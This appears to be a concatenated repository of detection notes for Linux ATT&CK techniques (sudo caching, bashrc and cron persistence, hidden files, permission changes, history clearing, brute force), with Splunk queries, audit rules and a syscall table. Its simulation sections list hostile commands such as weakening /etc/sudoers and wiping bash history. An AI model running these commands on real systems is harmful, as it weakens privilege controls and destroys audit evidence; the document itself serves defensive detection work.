Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. 4 | 5 | Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macos being allowed or that the user will accept to activate them. 6 | 7 | Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
8 | 9 | # How to Detect 10 | 11 | ## Simulating the attack 12 | 13 | Creates and executes a simple bash script. 14 | 15 | 16 | ## Data sources required to detect the attack 17 | 18 | auditlogs (audit.rules) 19 | 20 | ## Splunk Queries to detect the attack 21 | 22 | ### auditlogs(syscalls) 23 | 24 | index=linux sourcetype=linux_audit syscall=59 OR syscall=322 | table host,syscall,syscall_name,exe,auid 25 | 26 | This could be very overwhelming if whitelisting is not done. 27 | 28 | ### bash_history 29 | 30 | 31 | ## Caution/Caveat 32 | 33 | This could be any malicious script run. To catch this, we need to know what is normal in our environment - which files/binaries are getting executed, when, at what intreval, who executes it etc. Once we have that data then any script out of that knowledgebase(whitelist) should be flagged. 34 | -------------------------------------------------------------------------------- /privilege escalation/T1206/T1206.md: -------------------------------------------------------------------------------- 1 | # T1206 - Sudo Caching 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1206) 3 |
The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). 4 | 5 | Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. 6 | 7 | The OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
8 | 9 | # How to Detect 10 | 11 | ## Simulating the attack 12 | 13 | sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers 14 | 15 | sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers" 16 | 17 | ## Data sources required to detect the attack 18 | 19 | auditlogs (audit.rules) 20 | 21 | bash_history logs 22 | 23 | ## Splunk Queries to detect the attack 24 | 25 | ### auditlogs(syscalls) 26 | 27 | index=linux sourcetype="linux_audit" sudoers_change 28 | 29 | Audit Rule : -w /etc/sudoers -p wa -k sudoers_change 30 | 31 | ### bash_history 32 | 33 | 34 | 35 | ## Caution/Caveat 36 | -------------------------------------------------------------------------------- /Persistence/T1156/T1156.md: -------------------------------------------------------------------------------- 1 | # T1156 - .bash_profile and .bashrc 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1156) 3 |
~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. 4 | 5 | Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc. 6 | 7 | These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).
8 | 9 | # How to Detect 10 | 11 | ## Simulating the attack 12 | 13 | echo "#{command_to_add}" >> ~/.bashrc 14 | 15 | echo "#{command_to_add}" >> ~/.bash_profile 16 | 17 | echo "/home/ec2-user/welcome.sh" >>~/.bash_profile 18 | 19 | echo "/home/ec2-user/welcome.sh" >>~/.bashrc 20 | 21 | ## Data sources required to detect the attack 22 | 23 | auditlogs (audit.rules) 24 | 25 | bash_history logs 26 | 27 | 28 | ## Splunk Queries to detect the attack 29 | 30 | ### auditlogs(syscalls) 31 | index=linux sourcetype=linux_audit bashrc_changes 32 | 33 | #### Audit-rules 34 | -w /home/ec2-user/.bashrc -p wa -k bashrc_changes 35 | 36 | -w /home/ec2-user/.bash_profile -p wa -k bashrc_changes 37 | 38 | ### bash_history 39 | 40 | index=linux sourcetype=bash_history bash_command="nano .bashrc" OR bash_command="vi .bashrc" OR echo .bashrc | table host,user_name,bash_command 41 | 42 | index=linux sourcetype=bash_history bash_command="nano .bashrc_profile" OR bash_command="vi .bashrc_profile" OR echo .bashrc_profile | table host,user_name,bash_command 43 | 44 | ## Caution 45 | 46 | #### Note: 47 | We need to add audit rules for each users' bashrc & bash_profile files under their home locations.Wildcard expression (*) is not accepted in the audit.rules so we can NOT create a rule that watches the path = /home/*/.bash_history 48 | -------------------------------------------------------------------------------- /Persistence/T1158/T1158.md: -------------------------------------------------------------------------------- 1 | 2 | # T1158 - Hidden Files and Directories 3 | 4 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1158) 5 |
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). 6 | 7 | Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. 8 | 9 | ### Linux/Mac 10 | 11 | Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.
12 | 13 | # How to Detect 14 | 15 | ## Simulating the attack 16 | ``` 17 | mkdir .hidden-directory 18 | ``` 19 | ``` 20 | mv file to a .file 21 | ``` 22 | ## Data sources required to detect the attack 23 | 24 | bash_history logs 25 | 26 | find the hidden files/dirs from certain directory paths like (/home/$user) and dump it to a location and ingest the file and look for any malicious hidden files (scripted input to the Splunk) 27 | 28 | 29 | ## Splunk Queries to detect the attack 30 | 31 | There are 2 ways by which we can capture this 32 | 33 | ### bash_history 34 | ``` 35 | index=linux sourcetype=bash_history bash_command="mkdir .*" | table host,user_name,bash_command 36 | ``` 37 | ``` 38 | index=linux sourcetype=bash_history bash_command="mv * .*" | table host,user_name,bash_command 39 | ``` 40 | ### find_hidden_files.sh 41 | 42 | find_hidden_files.sh script can be run on a regular interval and check for any suspecious file creation. A whitelist can be craeted to filter out the standard hidden files/directories in a linux system. 43 | ``` 44 | find /home/ -name ".*" 45 | find /home/ -type d -name ".*" 46 | find /home/ -type f -name ".*" 47 | ``` 48 | ## Caution 49 | -------------------------------------------------------------------------------- /defense evasion/T1222/T1222.md: -------------------------------------------------------------------------------- 1 | # T1222 - File Permissions Modification 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1222) 3 |
File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions) 4 | 5 | Adversaries may modify file permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.
6 | 7 | # How to Detect 8 | 9 | ## Simulating the attack 10 | ``` 11 | chmod 766 test1.txt 12 | chmod u+x test1.txt 13 | chmod o-x test1.txt 14 | ``` 15 | ``` 16 | chown ec2-user:ec2-user test1.txt 17 | ``` 18 | ## Data sources required to detect the attack 19 | 20 | auditlogs (audit.rules) 21 | 22 | bash_history logs 23 | 24 | 25 | ## Splunk Queries to detect the attack 26 | 27 | ### auditlogs(syscalls) 28 | ``` 29 | index=linux sourcetype=linux_audit syscall=90 OR syscall=91 OR sycall=268 | table msg,syscall,syscall_name,success,auid,comm,exe 30 | ``` 31 | ``` 32 | index=linux sourcetype=linux_audit syscall=92 OR syscall=93 OR syscall=94 OR syscall=260 comm!=splunkd | table 33 | msg,syscall,syscall_name,success,auid,comm,exe 34 | ``` 35 | #### Audit Rules: 36 | ``` 37 | -a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=-1 -F key=perm_mod 38 | -a always,exit -F arch=b64 -S chown,fchown,lchown,fchownat -F auid>=1000 -F auid!=-1 -F key=perm_mod 39 | ``` 40 | ### bash_history 41 | ``` 42 | index=linux sourcetype="bash_history" bash_command="chmod *" | table host,user_name,bash_command 43 | ``` 44 | ``` 45 | index=linux sourcetype="bash_history" bash_command="chown *" | table host,user_name,bash_command 46 | ``` 47 | ## Caution 48 | 49 | #### Note: 50 | These kind of audit rules can be too noisy if not filtered properly. Hence, it is important to understand what is normal in the environment and create the whitelit based on the same to reduce the noise. If you can se, I have already used one filter in the query comm!=splunkd as splunkd keeps on making the systemcall 93 at regular interval, that may be valid/normal in my environment. 51 | 52 | Moroever, the splunk queries can be written in multiple ways to catch the same thing. For example, *index=linux sourcetype=linux_audit key=perm_mod* will give the same results as *index=linux sourcetype=linux_audit syscall=90 OR syscall=91 OR sycall=268* 53 | -------------------------------------------------------------------------------- /Persistence/T1168/T1168.md: -------------------------------------------------------------------------------- 1 | 2 | # T1168 - Local Job Scheduling 3 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1168) 4 |
On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). 5 | 6 | ### cron 7 | 8 | System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. 9 | 10 | Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. 11 | 12 | ### at 13 | 14 | The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. 15 | 16 | ### launchd 17 | 18 | Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
19 | 20 | # How to Detect 21 | 22 | ## Simulating the attack 23 | 24 | echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} 25 | 26 | 27 | echo "#{command}" > /etc/cron.daily/#{cron_script_name} 28 | 29 | at now + 1 minute -f script.sh 30 | 31 | echo "shutdown -h now" | at -m 23:5 32 | 33 | at now + 1 minute | ping -c 4 google.com > /home/ec2-user/google6.txt 34 | 35 | ## Data sources required to detect the attack 36 | 37 | /var/log/cron 38 | 39 | bash_history 40 | 41 | ## Splunk Queries to detect the attack 42 | 43 | 1. bash_history : track the command "crontab" - you may need to look for the commands crontab 44 | 45 | index=linux sourcetype=bash_history bash_command="crontab *" | table host, user_name, bash_command 46 | 47 | 2. /var/log/cron : look for "crontab" & "REPLACE" in the cron logs 48 | 49 | index=linux crontab replace 50 | 51 | 3. /var.log/cron - track CMD command 52 | 53 | cat /var/log/cron | grep CMD | cut -d " " -f 9 |sort | uniq -c | sort -rn will give you all the jobs which run in the environment with its number starting from high to low. You can look for a suspecious job/s which are not a part of a whitelisted jobs. 54 | 55 | 4. index=linux sourcetype=bash_history at 56 | 57 | 58 | ## Caution 59 | 60 | -------------------------------------------------------------------------------- /defense evasion/T1146/T1146.md: -------------------------------------------------------------------------------- 1 | # T1146 - Clear Command History 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1146) 3 |
macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.
4 | 5 | # How to Detect 6 | 7 | ## Simulating the attack 8 | ``` 9 | rm ~/.bash_history 10 | ``` 11 | ``` 12 | echo " " > .bash_history 13 | ``` 14 | ``` 15 | cat /dev/null > ~/.bash_history 16 | ``` 17 | ``` 18 | ln -sf /dev/null ~/.bash_history 19 | ``` 20 | ``` 21 | truncate -s0 ~/.bash_history 22 | ``` 23 | ``` 24 | unset HISTFILE 25 | ``` 26 | ``` 27 | export HISTFILESIZE=0 28 | ``` 29 | ``` 30 | history -c 31 | ``` 32 | ## Data sources required to detect the attack 33 | 34 | auditlogs (audit.rules) 35 | 36 | bash_history logs 37 | 38 | ## Splunk Queries to detect the attack 39 | 40 | ### auditlogs(syscalls) 41 | 42 | #### rm -rf ~/.bash_history 43 | ``` 44 | index=linux sourcetype=linux_audit syscall=263 | table time,host,auid,uid,euid,exe,key 45 | 46 | index=linux sourcetype=linux_audit type=PATH name=.bash_history nametype=delete | table time,name,nametype 47 | ``` 48 | #### echo " " > .bash_history 49 | ``` 50 | index=linux sourcetype="linux_audit" bash_history_changes exe!=/home/ec2-user/splunk/bin/splunkd syscall=257 a2!=0 AND a3!=0 | table host,syscall,syscall_name,exe,auid 51 | ``` 52 | #### Note: 53 | 54 | a2!=0 and a3!=0 are added in to the query to distinuish echo and cat - both logs Systemcall 257 (openat). Morover, when a user logsin through ssh - SYSCALL 257 is used with exe=/usr/bin/bash (2 events generated)for /home/$USER/.bash_history; however in that case the command arguments a2=0 and a3=0 ; when we use command "echo " "> .bash_history" the same systemcall (257) and the same exe = /usr/bin/bash is used however command arguments a2!=0 and a3!=0. 55 | 56 | index=linux sourcetype="linux_audit" bash_history_changes exe!=/home/ec2-user/splunk/bin/splunkd syscall=257 exe=/usr/bin/bash a2!=0 AND a3!=0| table host,syscall,syscall_name,exe,auid 57 | 58 | #### Audit-rules 59 | ``` 60 | -a always,exit -F arch=b64 -F PATH=/home/ec2-user/.bash_history -S unlinkat -F auid>=1000 -F auid!=4294967295 -F key=delete_bash_history 61 | 62 | -w /home/ec2-user/.bash_history -p rwa -k bash_history_changes 63 | ``` 64 | ### bash_history 65 | ``` 66 | index=linux sourcetype="bash_history" "rm * .bash_history" 67 | ``` 68 | ## Caution 69 | 70 | #### Note: 71 | Note: We need to add the rule for each users' bash_history file under their home location. Wildcard expression (*) is not accepted in the audit.rules so we can NOT create a rule that watches the path = /home/*/.bash_history 72 | -------------------------------------------------------------------------------- /credential access/T1110/T1110.md: -------------------------------------------------------------------------------- 1 | # T1110 - Brute Force 2 | ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1110) 3 |
Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained. 4 | 5 | [Credential Dumping](https://attack.mitre.org/techniques/T1003) to obtain password hashes may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) 6 | 7 | Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) 8 | 9 | A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
10 | 11 | # How to Detect 12 | 13 | ## Simulating the attack 14 | 15 | 16 | 17 | ## Data sources required to detect the attack 18 | 19 | /var/log/secure 20 | 21 | 22 | ## log patterns to detect the various attack/activities related to authentication 23 | 24 | **Invalid User's attempt:** 25 | ``` 26 | Invalid user koza from port 55403 27 | ``` 28 | **If Password Authentication is enabled,for failed attempt:** 29 | ``` 30 | Failed password for master from port 55568 ssh2 31 | ``` 32 | **If Password Authentication is enabled,for successful attempt:** 33 | ``` 34 | Accepted password for master from port 55568 ssh2 35 | ``` 36 | **If ssh-key based authentication enabled, for fialed attempt:** 37 | ``` 38 | Connection closed by port 55543 [preauth] 39 | ``` 40 | **If ssh-key based authentication enabled, for successful attempt:** 41 | ``` 42 | Accepted publickey for ec2-user from port 55289 ssh2: RSA SHA256:kxVVnv/vCqMgGVgb9EMpjup2UEzaBRv1CdHU2KpKiDQ 43 | ``` 44 | **For each successful Sudo attempt** 45 | ``` 46 | sudo: ec2-user : TTY=pts/4 ; PWD=/home/ec2-user ; USER=root ; COMMAND=/bin/su 47 | 48 | su: pam_unix(su:session): session opened for user root by ec2-user(uid=0) 49 | ``` 50 | 51 | **Auth failure for Sudo su** 52 | ``` 53 | sudo: pam_unix(sudo:auth): authentication failure; logname=ec2-user uid=1004 euid=0 tty=/dev/pts/4 ruser=splunk rhost= user=splunk 54 | 55 | sudo: pam_unix(sudo:auth): authentication failure; logname=ec2-user uid=1004 euid=0 tty=/dev/pts/4 ruser=splunk rhost= user=splunk 56 | ``` 57 | **for NOT In Sudoers** 58 | ``` 59 | sudo: splunk : user NOT in sudoers ; TTY=pts/4 ; PWD=/home/ec2-user ; USER=root ; COMMAND=/bin/su 60 | 61 | sudo: splunk : user NOT in sudoers ; TTY=pts/4 ; PWD=/home/ec2-user ; USER=root ; COMMAND=/etc/shadow 62 | ``` 63 | **Successful Switch User (su)** 64 | ``` 65 | su: pam_unix(su:session): session opened for user splunk by ec2-user(uid=1000) 66 | ``` 67 | **UNSuccessful Switch User (su)** 68 | ``` 69 | **Command** ec2-user$su splunk 70 | 71 | **log**su: pam_unix(su:auth): authentication failure; logname=ec2-user uid=1000 euid=0 tty=pts/4 ruser=ec2-user rhost= user=splunk 72 | ``` 73 | ``` 74 | **command** ec2-user$su master 75 | 76 | **log** su: pam_unix(su:auth): authentication failure; logname=ec2-user uid=1000 euid=0 tty=pts/4 ruser=ec2-user rhost= user=master 77 | ``` 78 | 79 | **Modification(add,delete,permissions ) to key groups like SA/wheel** 80 | ``` 81 | usermod[5019]: add 'splunk' to group 'wireshark' 82 | 83 | gpasswd[5316]: user splunk added by root to group wireshark 84 | 85 | gpasswd[5728]: user splunk removed by root from group wireshark 86 | ``` 87 | 88 | ## Caution/Caveat 89 | 90 | -------------------------------------------------------------------------------- /syscall.csv: -------------------------------------------------------------------------------- 1 | syscall,syscall_name 2 | 0,read 3 | 1,write 4 | 2,open 5 | 3,close 6 | 4,stat 7 | 5,fstat 8 | 6,lstat 9 | 7,poll 10 | 8,lseek 11 | 9,mmap 12 | 10,mprotect 13 | 11,munmap 14 | 12,brk 15 | 13,rt_sigaction 16 | 14,rt_sigprocmask 17 | 15,rt_sigreturn 18 | 16,ioctl 19 | 17,pread 20 | 18,pwrite 21 | 19,readv 22 | 20,writev 23 | 21,access 24 | 22,pipe 25 | 23,select 26 | 24,sched_yield 27 | 25,mremap 28 | 26,msync 29 | 27,mincore 30 | 28,madvise 31 | 29,shmget 32 | 30,shmat 33 | 31,shmctl 34 | 32,dup 35 | 33,dup2 36 | 34,pause 37 | 35,nanosleep 38 | 36,getitimer 39 | 37,alarm 40 | 38,setitimer 41 | 39,getpid 42 | 40,sendfile 43 | 41,socket 44 | 42,connect 45 | 43,accept 46 | 44,sendto 47 | 45,recvfrom 48 | 46,sendmsg 49 | 47,recvmsg 50 | 48,shutdown 51 | 49,bind 52 | 50,listen 53 | 51,getsockname 54 | 52,getpeername 55 | 53,socketpair 56 | 54,setsockopt 57 | 55,getsockopt 58 | 56,clone 59 | 57,fork 60 | 58,vfork 61 | 59,execve 62 | 60,exit 63 | 61,wait4 64 | 62,kill 65 | 63,uname 66 | 64,semget 67 | 65,semop 68 | 66,semctl 69 | 67,shmdt 70 | 68,msgget 71 | 69,msgsnd 72 | 70,msgrcv 73 | 71,msgctl 74 | 72,fcntl 75 | 73,flock 76 | 74,fsync 77 | 75,fdatasync 78 | 76,truncate 79 | 77,ftruncate 80 | 78,getdents 81 | 79,getcwd 82 | 80,chdir 83 | 81,fchdir 84 | 82,rename 85 | 83,mkdir 86 | 84,rmdir 87 | 85,creat 88 | 86,link 89 | 87,unlink 90 | 88,symlink 91 | 89,readlink 92 | 90,chmod 93 | 91,fchmod 94 | 92,chown 95 | 93,fchown 96 | 94,lchown 97 | 95,umask 98 | 96,gettimeofday 99 | 97,getrlimit 100 | 98,getrusage 101 | 99,sysinfo 102 | 100,times 103 | 101,ptrace 104 | 102,getuid 105 | 103,syslog 106 | 104,getgid 107 | 105,setuid 108 | 106,setgid 109 | 107,geteuid 110 | 108,getegid 111 | 109,setpgid 112 | 110,getppid 113 | 111,getpgrp 114 | 112,setsid 115 | 113,setreuid 116 | 114,setregid 117 | 115,getgroups 118 | 116,setgroups 119 | 117,setresuid 120 | 118,getresuid 121 | 119,setresgid 122 | 120,getresgid 123 | 121,getpgid 124 | 122,setfsuid 125 | 123,setfsgid 126 | 124,getsid 127 | 125,capget 128 | 126,capset 129 | 127,rt_sigpending 130 | 128,rt_sigtimedwait 131 | 129,rt_sigqueueinfo 132 | 130,rt_sigsuspend 133 | 131,sigaltstack 134 | 132,utime 135 | 133,mknod 136 | 134,uselib 137 | 135,personality 138 | 136,ustat 139 | 137,statfs 140 | 138,fstatfs 141 | 139,sysfs 142 | 140,getpriority 143 | 141,setpriority 144 | 142,sched_setparam 145 | 143,sched_getparam 146 | 144,sched_setscheduler 147 | 145,sched_getscheduler 148 | 146,sched_get_priority_max 149 | 147,sched_get_priority_min 150 | 148,sched_rr_get_interval 151 | 149,mlock 152 | 150,munlock 153 | 151,mlockall 154 | 152,munlockall 155 | 153,vhangup 156 | 154,modify_ldt 157 | 155,pivot_root 158 | 156,_sysctl 159 | 157,prctl 160 | 158,arch_prctl 161 | 159,adjtimex 162 | 160,setrlimit 163 | 161,chroot 164 | 162,sync 165 | 163,acct 166 | 164,settimeofday 167 | 165,mount 168 | 166,umount2 169 | 167,swapon 170 | 168,swapoff 171 | 169,reboot 172 | 170,sethostname 173 | 171,setdomainname 174 | 172,iopl 175 | 173,ioperm 176 | 174,create_module 177 | 175,init_module 178 | 176,delete_module 179 | 177,get_kernel_syms 180 | 178,query_module 181 | 179,quotactl 182 | 180,nfsservctl 183 | 181,getpmsg 184 | 182,putpmsg 185 | 183,afs_syscall 186 | 184,tuxcall 187 | 185,security 188 | 186,gettid 189 | 187,readahead 190 | 188,setxattr 191 | 189,lsetxattr 192 | 190,fsetxattr 193 | 191,getxattr 194 | 192,lgetxattr 195 | 193,fgetxattr 196 | 194,listxattr 197 | 195,llistxattr 198 | 196,flistxattr 199 | 197,removexattr 200 | 198,lremovexattr 201 | 199,fremovexattr 202 | 200,tkill 203 | 201,time 204 | 202,futex 205 | 203,sched_setaffinity 206 | 204,sched_getaffinity 207 | 205,set_thread_area 208 | 206,io_setup 209 | 207,io_destroy 210 | 208,io_getevents 211 | 209,io_submit 212 | 210,io_cancel 213 | 211,get_thread_area 214 | 212,lookup_dcookie 215 | 213,epoll_create 216 | 214,epoll_ctl_old 217 | 215,epoll_wait_old 218 | 216,remap_file_pages 219 | 217,getdents64 220 | 218,set_tid_address 221 | 219,restart_syscall 222 | 220,semtimedop 223 | 221,fadvise64 224 | 222,timer_create 225 | 223,timer_settime 226 | 224,timer_gettime 227 | 225,timer_getoverrun 228 | 226,timer_delete 229 | 227,clock_settime 230 | 228,clock_gettime 231 | 229,clock_getres 232 | 230,clock_nanosleep 233 | 231,exit_group 234 | 232,epoll_wait 235 | 233,epoll_ctl 236 | 234,tgkill 237 | 235,utimes 238 | 236,vserver 239 | 237,mbind 240 | 238,set_mempolicy 241 | 239,get_mempolicy 242 | 240,mq_open 243 | 241,mq_unlink 244 | 242,mq_timedsend 245 | 243,mq_timedreceive 246 | 244,mq_notify 247 | 245,mq_getsetattr 248 | 246,kexec_load 249 | 247,waitid 250 | 248,add_key 251 | 249,request_key 252 | 250,keyctl 253 | 251,ioprio_set 254 | 252,ioprio_get 255 | 253,inotify_init 256 | 254,inotify_add_watch 257 | 255,inotify_rm_watch 258 | 256,migrate_pages 259 | 257,openat 260 | 258,mkdirat 261 | 259,mknodat 262 | 260,fchownat 263 | 261,futimesat 264 | 262,newfstatat 265 | 263,unlinkat 266 | 264,renameat 267 | 265,linkat 268 | 266,symlinkat 269 | 267,readlinkat 270 | 268,fchmodat 271 | 269,faccessat 272 | 270,pselect6 273 | 271,ppoll 274 | 272,unshare 275 | 273,set_robust_list 276 | 274,get_robust_list 277 | 275,splice 278 | 276,tee 279 | 277,sync_file_range 280 | 278,vmsplice 281 | 279,move_pages 282 | 280,utimensat 283 | 281,epoll_pwait 284 | 282,signalfd 285 | 283,timerfd 286 | 284,eventfd 287 | 285,fallocate 288 | 286,timerfd_settime 289 | 287,timerfd_gettime 290 | 288,accept4 291 | 289,signalfd4 292 | 290,eventfd2 293 | 291,epoll_create1 294 | 292,dup3 295 | 293,pipe2 296 | 294,inotify_init1 297 | 295,preadv 298 | 296,pwritev 299 | 297,rt_tgsigqueueinfo 300 | 298,perf_event_open 301 | 299,recvmmsg 302 | 300,fanotify_init 303 | 301,fanotify_mark 304 | 302,prlimit64 305 | 303,name_to_handle_at 306 | 304,open_by_handle_at 307 | 305,clock_adjtime 308 | 306,syncfs 309 | 307,sendmmsg 310 | 308,setns 311 | 309,getcpu 312 | 310,process_vm_readv 313 | 311,process_vm_writev 314 | 312,kcmp 315 | 313,finit_module 316 | 314,sched_setattr 317 | 315,sched_getattr 318 | 316,renameat2 319 | 317,seccomp 320 | 318,getrandom 321 | 319,memfd_create 322 | 320,kexec_file_load 323 | 321,bpf 324 | 322,execveat 325 | 323,userfaultfd 326 | 324,membarrier 327 | 325,mlock2 328 | 326,copy_file_range 329 | 327,preadv2 330 | 328,pwritev2 331 | 329,pkey_mprotect 332 | 330,pkey_alloc 333 | 331,pkey_free 334 | 332,statx 335 | --------------------------------------------------------------------------------